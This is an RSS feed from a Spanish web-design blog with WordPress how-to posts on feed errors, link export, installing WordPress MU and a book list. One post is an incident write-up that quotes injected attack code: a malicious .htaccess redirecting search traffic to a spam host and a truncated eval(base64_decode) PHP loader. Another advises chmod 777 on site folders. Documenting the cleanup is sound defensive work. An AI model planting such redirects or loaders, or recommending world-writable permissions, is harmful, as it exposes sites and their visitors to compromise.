<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daniel Nabil, diseño web, Mallorca &#187; Wordpress</title>
	<atom:link href="http://www.danielnabil.com/tema/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.danielnabil.com</link>
	<description>Estudio de diseño web y gráfico en Mallorca</description>
	<lastBuildDate>Fri, 13 Aug 2010 23:43:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Error de lectura XML en Firefox en RSS generados por WordPress</title>
		<link>http://www.danielnabil.com/blog/error-de-lectura-xml-firefox-rss-wordpress/</link>
		<comments>http://www.danielnabil.com/blog/error-de-lectura-xml-firefox-rss-wordpress/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 01:01:25 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.danielnabil.com/?p=324</guid>
		<description><![CDATA[
Hoy un usuario de una de las webs que gestiono me ha avisado de que no podía acceder a las actualizaciones RSS. Revisando el tema, he comprobado que el error (ver imagen) solamente aparecía en Firefox (&#8220;Error de lectura XML&#8220;), mientras que en otros navegadores, las actualizaciones RSS se generaban perfectamente:

Error de lectura XML: declaración de texto o XML en ... <strong><a href="http://www.danielnabil.com/blog/error-de-lectura-xml-firefox-rss-wordpress/" class="seguir">Seguir leyendo&#160;&#187;</a></strong>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.danielnabil.com/img/error-de-lectura-xml.gif" alt="Error de lectura XML" title="Captura de pantalla del error (Firefox): Error de lectura XML, declaración de texto o XML..." width="672" height="157" class="alignnone size-full wp-image-325" /></p>
<p>Hoy un usuario de una de las webs que gestiono me ha avisado de que no podía acceder a las actualizaciones RSS. Revisando el tema, he comprobado que el error (ver imagen) solamente aparecía en Firefox (&#8220;<strong>Error de lectura XML</strong>&#8220;), mientras que en otros navegadores, las actualizaciones RSS se generaban perfectamente:</p>
<pre>
Error de lectura XML: declaración de texto o XML en un lugar distinto del principio
de la entidad. Ubicación: http://www... Número de línea 2, columna 1:
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
</pre>
<p>No es la primera vez que encuentro este problema, así que, en vista de que no hay demasiada información publicada al respecto, explico cual ha sido la solución en mi caso:</p>
<ol>
<li>Abrir el archivo <code>functions.php</code> del tema activo (ubicado en /wp-content/themes/nombre-del-tema/functions.php)</li>
<li>Localizar y eliminar espacios vacíos entre las etiquetas de apertura y cierre de PHP (ver imagen). O mejor aun, combinarlas para que solo se abra y se cierre una vez (aunque no siempre es posible)</li>
<li>Guardar y subir al servidor</li>
</ol>
<p><img src="http://www.danielnabil.com/img/espacios-functions-php.gif" alt="Espacios vacios en PHP" title="Eliminando espacios en blanco en functions.php" width="672" height="206" class="alignnone size-full wp-image-326" /></p>
<p>Es un error que puede ser muy fácil de arreglar, pero que también puede ser muy difícil de detectar, por la cantidad de archivos PHP que utiliza WordPress. De todas formas, la lógica es esta: partiendo de que no hemos tocado los archivos del core de WordPress (los básicos: los de la raíz, wp-admin o wp-includes) sólo nos quedan dos comprobaciones que hacer: los plugins instalados y el archivo <code>functions.php</code> del tema activo. </p>
<p>Podemos probar a desactivar los plugins uno a uno, para ver si el problema está en el código de alguno de ellos. Si aun asi el problema persiste, solo nos queda un archivo que repasar: <code>functions.php</code>, que es un archivo que, por poco que queramos personalizar una web, conviene conocer a fondo.</p>
<p>No siempre será tan fácil de detectar, pero las tres o cuatro veces que he tenido que solucionar este problema, esta ha sido la solución.</p>
<p>Para estar seguro de que tu RSS se genera sin problemas en Firefox, abre este navegador, pon la dirección de tu web seguida de /feed/ y, si te aparece el error, ya tienes una pista de dónde mirar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielnabil.com/blog/error-de-lectura-xml-firefox-rss-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cómo exportar e importar enlaces en WordPress con categorías y descripciones</title>
		<link>http://www.danielnabil.com/blog/como-importar-exportar-enlaces-wordpress-con-categorias-descripciones/</link>
		<comments>http://www.danielnabil.com/blog/como-importar-exportar-enlaces-wordpress-con-categorias-descripciones/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 04:16:54 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.danielnabil.com/?p=114</guid>
		<description><![CDATA[Cualquiera que se haya pasado algún tiempo trabajando con WordPress y haya tenido que mover instalaciones de un servidor a otro, se habrá encontrado con la necesidad de exportar los enlaces (links, bookmarks o &#8220;blogroll&#8221;, como suele llamarse en el panel de control) para después importarlos desde la nueva instalación.
El problema aparece al ver que los enlaces no se exportan ... <strong><a href="http://www.danielnabil.com/blog/como-importar-exportar-enlaces-wordpress-con-categorias-descripciones/" class="seguir">Seguir leyendo&#160;&#187;</a></strong>]]></description>
			<content:encoded><![CDATA[<p>Cualquiera que se haya pasado algún tiempo trabajando con <strong><a href="http://wordpress.org/">WordPress</a></strong> y haya tenido que mover instalaciones de un servidor a otro, se habrá encontrado con la necesidad de exportar los enlaces (links, bookmarks o &#8220;blogroll&#8221;, como suele llamarse en el panel de control) para después importarlos desde la nueva instalación.</p>
<p>El problema aparece al ver que <strong>los enlaces no se exportan junto con el resto de contenidos de WordPress</strong> si utilizamos <code>Herramientas > Exportar</code>. Aunque sí existe la opción para importarlos, no hay en el area de administación ningún modo de exportar nuestros enlaces. El siguiente problema es que las categorías y las descripciones se pierden por el camino y no se importan.</p>
<p>Como ya he explicado esto varias veces a diferentes personas, lo publico aquí, que será más útil que explicarlo cada vez que alguien se encuentra con el problema.</p>
<h2>1. Cómo exportar enlaces en WordPress</h2>
<p>Si solo queremos exportarlos y no tenemos ninguna categoría de enlaces creada ni tampoco hemos añadido descripciones, lo único que hay que hacer es apuntar el navegador a la dirección del archivo <code><strong>wp-links-opml.php</strong></code>, que está en la raíz de la instalación de WordPress. Es decir: </p>
<p><code><strong>http://www.ejemplo.com/wp-links-opml.php</strong></code> (cambiar &#8220;ejemplo.com&#8221; por la dirección de nuestra web)</p>
<p>WordPress crea un archivo XML que contiene los datos que necesitamos en formato OPML. Dependiendo del navegador que utilicemos, veremos una cosa u otra: con Safari, por ejemplo, solo veremos una página en blanco con una linea de texto (el nombre de nuestra web y la fecha de creación del archivo), mientras que Firefox nos muestra directamente el código XML.</p>
<p>En realidad ni siquiera hace falta visitar esa página ni guardar o inspeccionar el código. Copiamos el enlace y pasamos a importarlos.</p>
<h2>2. Cómo importar los enlaces</h2>
<p>Para importar hay que ir a <code>Herramientas > Importar</code> y de la lista que aparece seleccionamos &#8220;<strong>Enlaces: Importar enlaces en formato OPML</strong>&#8220;. En la página siguiente tenemos dos opciones: pegar la dirección anterior (<code>http://www.ejemplo.com/wp-links-opml.php</code>) o bien subir el archivo desde nuestro ordenador, si lo hemos guardado antes. Finalmente, pulsamos el botón &#8220;<strong>Importar archivo OPML</strong>&#8220;.</p>
<h2>3. Cómo importar las categorías de los enlaces en WordPress</h2>
<p>Lo más fácil para importar los enlaces junto con sus categorías es utilizar este plugin:</p>
<p><a href="http://wordpress.org/extend/plugins/import-blogroll-with-categories/">http://wordpress.org/extend/plugins/import-blogroll-with-categories/</a></p>
<p>WordPress solo nos ofrece la posibilidad de guardar todos nuestros enlaces en una única categoría, pero lo curioso es que la información necesaria de cada enlace y su categoría está en el archivo XML que importamos, aunque WordPress no lo tiene en cuenta.</p>
<p>Este plugin añade esta funcionalidad añadiendo una nueva opción en la página <code>Herramientas > importar</code> que se llama &#8220;<strong>Blogroll with categories</strong>&#8221; (y también en el menú &#8220;Links&#8221;) con la posibilidad de crear las categorías de enlaces automáticamente, tal como estaban en la web original que estamos trasladando.</p>
<h2>4. Cómo importar las descripciones de los enlaces</h2>
<p>Otra de las cosas que no hace WordPress es exportar las descripciones de los enlaces en el archivo XML junto con el resto de la información.</p>
<p>Para conseguir esto y no tener que hacerlo a mano, tendremos que editar el código del archivo <code>wp-links-opml.php</code>:</p>
<ul>
<li>Abre <code>wp-links-opml.php</code> (está en la raíz de la instalación de WordPress) con tu editor de código</li>
<li>En la linea 54 añade esto antes del cierre de <code>outline</code> (ver imagen): <code><strong>description=&quot;&lt;?php echo esc_attr($bookmark-&gt;link_description); ?&gt;&quot;</strong></code>. Quedará así:</li>
</ul>
<pre>
&lt;outline text=&quot;&lt;?php echo $title; ?&gt;&quot; type=&quot;link&quot;
xmlUrl=&quot;&lt;?php echo esc_attr($bookmark-&gt;link_rss); ?&gt;&quot;
htmlUrl=&quot;&lt;?php echo esc_attr($bookmark-&gt;link_url); ?&gt;&quot;
updated=&quot;&lt;?php if ('0000-00-00 00:00:00' != $bookmark-&gt;link_updated)
echo $bookmark-&gt;link_updated; ?&gt;&quot; description=&quot;&lt;?php echo
esc_attr($bookmark-&gt;link_description); ?&gt;&quot; /&gt;
</pre>
<p><img src="http://www.danielnabil.com/img/exportar-descripciones-wordpress.jpg" alt="Exportar descripciones de enlaces en WordPress: wp-links-opml.php" /></p>
<p>Esto añadirá las descripciones al archivo OPML para que podamos importarlas. Guarda el archivo, súbelo al servidor y ya puedes importar todos los enlaces con sus categorías y sus descripciones automáticamente sin tener que perder tiempo copiándolos uno a uno.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielnabil.com/blog/como-importar-exportar-enlaces-wordpress-con-categorias-descripciones/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress, Mediatemple y una inyección de código</title>
		<link>http://www.danielnabil.com/blog/inyeccion-codigo-wordpress-mediatemple-5edfgh345/</link>
		<comments>http://www.danielnabil.com/blog/inyeccion-codigo-wordpress-mediatemple-5edfgh345/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 00:15:06 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.danielnabil.com/?p=166</guid>
		<description><![CDATA[Hoy me ha tocado luchar contra un ataque de inyección de código que ha afectado a varias de las webs que gestiono. Aunque no ha sido muy grave, quiero documentarlo aquí por si alguien se encuentra en la misma situación.
Al comprobar las estadísticas de una de esas webs (con WordPress 2.8.5), he visto que desde hacía varios días se recibían ... <strong><a href="http://www.danielnabil.com/blog/inyeccion-codigo-wordpress-mediatemple-5edfgh345/" class="seguir">Seguir leyendo&#160;&#187;</a></strong>]]></description>
			<content:encoded><![CDATA[<p>Hoy me ha tocado luchar contra un ataque de inyección de código que ha afectado a varias de las webs que gestiono. Aunque no ha sido muy grave, quiero documentarlo aquí por si alguien se encuentra en la misma situación.</p>
<p>Al comprobar las estadísticas de una de esas webs (con WordPress 2.8.5), he visto que desde hacía varios días se recibían muy pocas visitas. Al visitar la web directamente con el navegador me ha llamado la atención que había un error de validación (para esto utilizo <a href="http://users.skynet.be/mgueury/mozilla/">HTML Validator</a> para Firefox. Es muy simple: verde, todo correcto; rojo, error de validación).</p>
<p>Al comprobar veo que el error de validación que me da es: <code>there is no attribute "style"</code>. ¿Un &#8220;style&#8221; entre el código HTML? Muy pocas veces incrusto estilos con &#8220;style&#8221;, así que miro el código y me encuentro esto justo antes de cerrar el <code>body</code>:</p>
<p><code>&lt;!--5edfgh345--&gt;</code> Seguido de una lista con más de 300 enlaces a páginas la mayoría de contenido pornográfico (no aparecen al visitar la web precisamente porque el estilo incrustado que hace que no valide es: &#8220;<code>display: none</code>&#8220;.</p>
<p>Un ejemplo de los links que aparecen:</p>
<pre>
&lt;a href=&quot;http://******.com/gallery/zkdxk/jennifer-hudson-official-website.html&quot;&gt;
jennifer hudson official website&lt;/a&gt;
</pre>
<p>Sigo con las comprobaciones. Solo funciona la página de inicio. Ningún enlace a las otras páginas de la web funciona (por eso se detectaba un descenso en las visitas). Al entrar en el area de administración de la web veo que todo el contenido está ahí, así que imagino que es algún error con el <code>.htaccess</code>. Al abrirlo veo que hay otro código intruso inyectado:</p>
<pre>
AddHandler application/x-httpd-php .html .htm .asp .aspx .shtml .shtm
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&#038;parameter=sf [R,L]
</pre>
<p>Al comprobar otras webs en el mismo servidor he visto que pasaba lo mismo, usaran WordPress o no, tanto las que utilizan PHP como las que están hechas en HTML. En las páginas sin PHP (sólo HTML, lógicamente por tanto sin WordPress), antes del cierre del <code>body</code> aparece:</p>
<pre>
&lt;!--5edfgh345--&gt;
&lt;?php eval(base64_decode(&quot;JGw9Imh0dHA6 ... k7fSBwcmludCBAJHI7DQo=&quot;)); ?&gt;
</pre>
<p>Es decir, se inserta el código eval() de javascript pero no aparecen los links. En páginas con PHP (incluidas WordPress con 2.8.5 instalado) el código se ejecuta y aparece toda la basura.</p>
<h2>Qué hacer</h2>
<p>Lo suyo es comprobar la fecha de actualización de los archivos de cada web (con un programa FTP, por ejemplo). Esto da una pista para saber qué archivos han sido modificados últimamente. En mi caso, todas las webs habían actualizado el archivo <code>index.html</code> o <code>index.php</code> de la raíz y creado o editado el <code>.htaccess</code> el mismo día, el día del ataque.</p>
<ol class="margin-bottom">
<li>Sustituir el archivo .htaccess infectado por la copia que deberíamos tener. Si no tenemos copia, lo descargamos (o lo editamos directamente en el servidor) y eliminamos el código de arriba (¡Cuidado con lo que borras! Si no estás seguro de lo que haces, pide que alguien con experiencia te ayude)</li>
<li>Lo mismo con el archivo <code>index.html</code> o <code>index.php</code> de la raíz. Si no tenemos una copia a mano, eliminamos desde &#8220;&lt;!&#8211;5edfgh345&#8211;&gt;&#8221; hasta que acaba esa linea.</li>
</ol>
<p>En las webs que gestiono en ese servidor (alojadas por cierto en <a href="http://mediatemple.net/">Mediatemple</a>) el problema no ha ido más allá. Seguiré comprobando estos días esas webs para asegurarme de que no aparecen nuevos problemas.</p>
<p>Describo todo esto con detalle porque lo único parecido que he encontrado en internet es esta entrada:<br />
<a href="http://www.kyle-brady.com/2009/11/07/wordpress-mediatemple-and-an-injection-attack/">WordPress, MediaTemple, and an Injection Attack</a>.</p>
<p>El autor explica que en su caso (WordPress 2.8.5 / Mediatemple) fue víctima del mismo ataque en las mismas fechas. Al contactar con los responsables del hosting, vieron que una IP de Texas envió una petición POST a WordPress que consiguió subir un archivo que al extraerse inyectó el código javascript eval() responsable de la aparición de cientos de links a páginas no deseadas.</p>
<p>En su caso, el código se insertaba en todas las entradas publicadas después del ataque y todos los links redireccionaban a una web de malware, y recomienda:</p>
<ul>
<li>1. Eliminar el código eval() de “<code>index.php</code>” en la raíz de WordPress</li>
<li>2. Borrar y recrear todas las entradas infectadas (desde el panel de control, no directamente en la base de datos)</li>
<li>3. Borrar el archivo <code>.nfs*</code> en la raíz de WordPress</li>
<li>4. Sustituir todos los archivos de WordPress por una instalación limpia</li>
<li>5. Eliminar el código no deseado de .htaccess</li>
</ul>
<p>Es un ataque parecido al de los <a href="http://ayudawordpress.com/permalinks-cambiados-a-evalbase64_decode_serverhttp_referer/">permalinks cambiados a &#8220;eval(base64_decode($_SERVER[HTTP_REFERER]&#8220;</a> de WordPress, con inyección MySQL.</p>
<p><strong>ACTUALIZACIÓN (11/11/2009):</strong> Otro caso que acabo de encontrar: <a href="http://expressionengine.com/forums/viewthread/134818/">PHP Injection into the index.php files in ExpressionEngine</a>. Al parecer no se trata sólo de WordPress. También pasa lo mismo con ExpressionEngine.</p>
<p><strong>ACTUALIZACIÓN (16/11/2009):</strong> Otros ataques similares posteriores utilizan el número &lt;!&#8211;yje35zfv8SU&#8211;&gt; y al parecer afecta no solo a instalaciones de WordPress sino de Drupal, Joomla, Magento o cualquiera que utilice PHP, pero por lo visto, solo alojados en Mediatemple, por lo que no parece que se trate de un problema de estos CMS.</p>
<p>Más enlaces que hablan de ello:<br />
<a href="http://jeffreybarke.net/tag/hacked/">http://jeffreybarke.net/tag/hacked/</a><br />
<a href="http://adrian3.com/2009/11/mediatemplewordpress-hack/">http://adrian3.com/2009/11/mediatemplewordpress-hack/</a><br />
<a href="http://kb.mediatemple.net/questions/1715/Working+with+a+php+injected+website">http://kb.mediatemple.net/questions/1715/Working+with+a+php+injected+website</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielnabil.com/blog/inyeccion-codigo-wordpress-mediatemple-5edfgh345/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Libros sobre diseño web, WordPress, programación e internet</title>
		<link>http://www.danielnabil.com/blog/libros-sobre-diseno-web-programacion-wordpress-internet/</link>
		<comments>http://www.danielnabil.com/blog/libros-sobre-diseno-web-programacion-wordpress-internet/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 16:02:29 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Diseño web]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.danielnabil.com/?p=65</guid>
		<description><![CDATA[Aparte de todo lo que podemos leer directamente en internet, lo ideal es tener a mano libros de referencia para consultar o leer tranquilamente cuando no estamos delante de una pantalla de ordenador. Poco a poco he ido creando una pequeña biblioteca de libros sobre diseño web y temas relacionados, que son los que siempre recomiendo cada vez que alguién ... <strong><a href="http://www.danielnabil.com/blog/libros-sobre-diseno-web-programacion-wordpress-internet/" class="seguir">Seguir leyendo&#160;&#187;</a></strong>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.danielnabil.com/img/libros-diseno-web.jpg" alt="Libros sobre diseño web y wordpress" width="400" height="267" class="alignright size-full wp-image-76" />Aparte de todo lo que podemos leer directamente en internet, lo ideal es tener a mano libros de referencia para consultar o leer tranquilamente cuando no estamos delante de una pantalla de ordenador. Poco a poco he ido creando una pequeña biblioteca de libros sobre diseño web y temas relacionados, que son los que siempre recomiendo cada vez que alguién me pregunta por dónde empezar o cómo puede profundizar en algún tema.</p>
<p>Esta es una pequeña recopilación de libros que he leído últimamente sobre diseño web, CSS, WordPress, ExpressionEngine y tecnología e internet en general. Eso sí, prácticamente todos son en inglés. La mayoría de libros sobre diseño web y tecnologías ni siquiera llegan a traducirse al español, pero como siempre digo, si alguien quiere aprender diseño web, lo primero que tiene que hacer es aprender inglés.</p>
<p>Iré ampliando esta lista según vaya comprando y leyendo más libros.</p>
<h2>Libros sobre CSS</h2>
<ul class="margin-bottom">
<li><em><a href="http://www.cssmastery.com/">CSS Mastery</a>: Advanced Web Standards Solutions</em>. Andy Budd, Simon Collison &amp; Cameron Moll / Friends of ED</li>
<li><em><a href="http://transcendingcss.com/">Transcending CSS</a>: The Fine Art of Web Design</em>. Andy Clarke, Molly E. Holzschlag, Aaron Gustafson &amp; Mark Boulton / New Riders Press</li>
<li><em><a href="http://www.amazon.com/Zen-CSS-Design-Visual-Enlightenment/dp/0321303474">The Zen of CSS Design</a>. Visual enlightenment for the web</em>. Dave Shea &amp; Molly E. Holzschlag / New Riders</li>
<li><em><a href="http://www.amazon.com/Designing-CSS-Web-Pages-VOICES/dp/0735712638">Designing CSS web pages</a></em>. Christopher Schmitt / New Riders</li>
<li><em><a href="http://www.anayamultimedia.es/cgigeneral/ficha.pl?id_sello_editorial_web=23&#038;codigo_comercial=2327321">CSS Práctico</a></em>. Richard York. Anaya Multimedia/Wrox</li>
</ul>
<h2>Libros sobre diseño web y diseño en general</h2>
<ul class="margin-bottom">
<li><em><a href="http://www.sitepoint.com/books/sexy1/">Sexy web design</a></em>. Elliot Jay Stocks / Sitepoint</li>
<li><em><a href="http://www.friendsofed.com/book.html?isbn=1590598032">Web Standards Creativity</a>. Innovations in web design with XHTML, CSS and DOM scripting</em>. Cameron Adams, Mark Boulton, Andy Clarke, Simon Collison, Jeff Croft&#8230; / Friends of ED</li>
<li><em><a href="http://www.zeldman.com/dwws/">Designing with web standards</a></em>. Jeffrey Zeldman / New Riders</li>
<li><em><a href="http://www.principlesofbeautifulwebdesign.com/">Principles of beautiful web design</a></em>. Jason Beaird / Sitepoint</li>
<li><em><a href="http://veen.com/artsci/">The Art &#038; Science of Web Design</a></em>. Jeffrey Veen / New Riders</li>
<li><em><a href="http://www.amazon.com/gp/product/0262134721">The laws of simplicity</a>. Design, technology, business &amp; life</em>. John Maeda / The MIT Press</li>
<li><em><a href="http://www.ggili.com/ficha_amp.cfm?IDPUBLICACION=715">Manual de producción gráfica. Recetas</a></em>. Kaj Johansosn, Peter Lundberg &#038; Robert Ryberg / Editorial Gustavo Gili</li>
<li><em><a href="http://www.ggili.com/ficha_amp.cfm?IDPUBLICACION=674">Diseñar con y sin retícula</a>. Comprender la estructura y la libertad en el diseño, pasando de la teoría a las aplicaciones en el mundo real</em>. Timothy Samara / Editorial Gustavo Gili</li>
<li><em><a href="http://www.amazon.com/Web-Development-Solutions-Libraries-Services/dp/1590598067">Web development solutions</a>, AJAX, APIs, libraries and hosted services made easy</em>. Christian Heilmann &#038; Mark Norman Francis/ Friends of ED</li>
</ul>
<h2>Libros sobre WordPress y ExpressionEngine</h2>
<ul class="margin-bottom">
<li><em><a href="http://www.professional-wp.com/">Professional WordPress</a>. Design and development</em>. Hal Stern / Wrox Publishing</li>
<li><em><a href="http://pragprog.com/titles/riexen/expressionengine-2-0">ExpressionEngine 2.0: A Quick-Start Guide</a></em>. Ryan Irelan / Pragmatic Bookshelf</li>
<li><em><a href="http://www.amazon.com/WordPress-Plug-Development-Beginners-Guide/dp/1847193595">WordPress Plug-in Development</a></em>. <a href="http://www.prelovac.com/">Vladimir Prelovac</a> / Packt Publishing</li>
<li><em><a href="http://www.amazon.com/Building-Websites-ExpressionEngine-1-6-professional/dp/184719379X">Building Websites with ExpressionEngine 1.6</a>: A clear, concise, and practical guide to creating a professional ExpressionEngine website</em>. Leonard Murphy / Packt Publishing</li>
<li><em><a href="http://www.packtpub.com/wordpress-theme-design/book">WordPress Theme Design</a>. A complete guide to creating professional WordPress themes</em>. Tessa Blakeley Silver / Packt Publishing</li>
</ul>
<h2>Libros sobre internet y tecnología</h2>
<ul class="margin-bottom">
<li><em><a href="http://www.enriquedans.com/2010/01/todo-va-a-cambiar.html">Todo va a cambiar</a>. Tecnología y evolución, adaptarse o desaparecer</em>. Enrique Dans / Ediciones Deusto</li>
<li><em><a href="http://futureoftheinternet.org/">The future of the internet</a> &#8211; And how to stop it</em>. Jonathan Zittrain / Yale University Press</li>
<li><em><a href="http://www.thomaslfriedman.com/bookshelf/the-world-is-flat">The world is flat</a>. A brief history of the twenty-first century</em>. <a href="http://es.wikipedia.org/wiki/Thomas_Friedman">Thomas L. Friedman</a> / Farrar, Straus &amp; Giroux</li>
<li><em><a href="http://www.amazon.com/Google-Story-Googles-10th-Birthday/dp/038534273X">The Google Story</a>. Inside the hottest business, media and technology success of our time</em>. David A. Vise and Mark Malseed / Delta</li>
<li><em><a href="http://www.amazon.com/Everything-Miscellaneous-Power-Digital-Disorder/dp/0805080430">Everything is miscellaneous</a>. The power of the new digital disorder</em>. David Weinberger / Holt</li>
</ul>
<h2>Libros sobre jQuery</h2>
<ul class="margin-bottom">
<li><em><a href="http://www.packtpub.com/learning-jquery-1.3/book">Learning jQuery 1.3</a>. Better interaction design and web development with simple javascript techniques.</em>. Jonathan Chaffer &amp; Karl Swedberg / Packt Publishing</li>
</ul>
<h2>Próximos&#8230;</h2>
<p>Y para acabar, estos son los libros que próximamente pasarán a formar parte de mi biblioteca (si los puedo conseguir):</p>
<ul>
<li><a href="http://books.alistapart.com/">HTML5 for web designers</a>, Jeremy Keith / A book apart</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.danielnabil.com/blog/libros-sobre-diseno-web-programacion-wordpress-internet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Errores y problemas al instalar WordPress MU</title>
		<link>http://www.danielnabil.com/blog/errores-problemas-instalar-wordpress-mu/</link>
		<comments>http://www.danielnabil.com/blog/errores-problemas-instalar-wordpress-mu/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 17:51:07 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.danielnabil.com/?p=53</guid>
		<description><![CDATA[
Según mi experiencia, estos son los errores y problemas más comunes al hacer una instalación de WordPress MU (o WordPressµ), el sistema multi usuario de WordPress:
Editar el archivo wp-config.php directamente
A diferencia del WordPress de un solo usuario, al instalar WordPress MU no es necesario que editemos directamente el archivo wp-config-sample.php. Tanto en las instrucciones que vienen con el sistema (el ... <strong><a href="http://www.danielnabil.com/blog/errores-problemas-instalar-wordpress-mu/" class="seguir">Seguir leyendo&#160;&#187;</a></strong>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.danielnabil.com/img/wordpress-mu.jpg" alt="Wordpress MU" width="400" height="209" class="alignright size-full wp-image-97" /></p>
<p>Según mi experiencia, estos son los <strong>errores y problemas más comunes al hacer una instalación de <a href="http://mu.wordpress.org/">WordPress MU</a></strong> (o WordPressµ), el sistema multi usuario de WordPress:</p>
<h2>Editar el archivo <code>wp-config.php</code> directamente</h2>
<p>A diferencia del WordPress de un solo usuario, al instalar WordPress MU no es necesario que editemos directamente el archivo <code>wp-config-sample.php</code>. Tanto en las instrucciones que vienen con el sistema (<a href="http://trac.mu.wordpress.org/browser/trunk/README.txt">el archivo <code>readme.html</code></a>) como en los <a href="http://codex.wordpress.org/Installing_WPMU">tutoriales de la página oficial</a>, dice que después de subir los archivos al servidor tenemos que dirigirnos a la página <code>index.php</code>, pero no dice que no haya que tocar el <code>wp-config.php</code> (las primeras veces que instalé WordPress MU supuse que se saltaba ese paso por ser demasiado obvio). Así que en este caso, no hay que añadir los datos de conexión a la base de datos directamente en el archivo de configuración, sinó seguir las instrucciones del instalador en el navegador.</p>
<h2>Renombrar <code>wp-config-sample.php</code></h2>
<p>De hecho, WordPress MU ni siquiera necesita que renombremos previamente el archivo de configuracion <code>wp-config-sample.php</code>. Si le cambiamos el nombre, tal como hacemos siempre con una instalación normal de WordPress a <code>wp-config.php</code>, el proceso de instalación nos avisará de que no puede continuar porque no encuentra el archivo que espera encontrar, que es <code>wp-config-sample.php</code>. Si ya lo has cambiado, lo mejor es borrarlo y volver a subirlo, en vez de renombrarlo.</p>
<h2>Conflictos con otra instalación de WordPress</h2>
<p>Si al instalar WordPress MU aparece uno de estos dos mensajes&#8230;</p>
<pre>"Problem in wp-config.php - $base is set to BASE when it should be
the path like "/" or "/blogs/"! Please fix it!"</pre>
<pre>"Warning! VHOST must be 'yes' or 'no' in wp-config.php"</pre>
<p>&#8230;el problema más frecuente suele ser que hay otra instalación de WordPress que entra en conflicto, generalmente, cuando instalamos WordPress MU en un subdirectorio y hay otra instalación en el directorio raiz.</p>
<p>La solución suele ser esta: </p>
<ol class="margin-bottom">
<li>Renombrar el archivo de configuración <code>wp-config.php</code> de la otra instalación (ojo, lógicamente esa web dejará de funcionar porque no encuentra los datos de conexión a la base de datos). Es decir, le cambiamos el nombre por cualquier otro, por ejemplo: <code>wp-config-cambiado.php</code></li>
<li>Instalamos WordPress MU normalmente</li>
<li>Volvemos a renombrar el <code>wp-config.php</code> de la otra instalación con el nombre original.</li>
</ol>
<h2>No cambiar los permisos de <code>wp-content</code> y de la carpeta raíz</h2>
<p>Otro de los pasos que es fácil olvidar o pasar por alto es que en algunos servidores los directorios no tienen permisos de escritura por defecto, por eso hay que asegurarse de que el directorio raíz y la carpeta <code>wp-content</code> pueden ser escritos por el servidor.</p>
<p>Por defecto, estas carpetas tienen asignados permisos 755, así que tendremos que cambiarlos a 777 mientras realizamos la instalación (en UNIX, con <code>chmod 777 nombre-de-la-carpeta</code>, o directamente con nuestro programa de FTP).</p>
<p>Si recuerdo algún otro error o problema relacionado con WordPress MU los iré añadiendo aquí por si sirve de ayuda. A mí me hubiera sido muy útil encontrarme con esta información hace algunos años, y me hubiera ahorrado bastante tiempo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielnabil.com/blog/errores-problemas-instalar-wordpress-mu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cómo cambiar el avatar por defecto de WordPress</title>
		<link>http://www.danielnabil.com/blog/como-cambiar-avatar-por-defecto-wordpress/</link>
		<comments>http://www.danielnabil.com/blog/como-cambiar-avatar-por-defecto-wordpress/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 14:14:34 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.danielnabil.com/?p=26</guid>
		<description><![CDATA[Opciones de avatar en el panel de control de WordPress
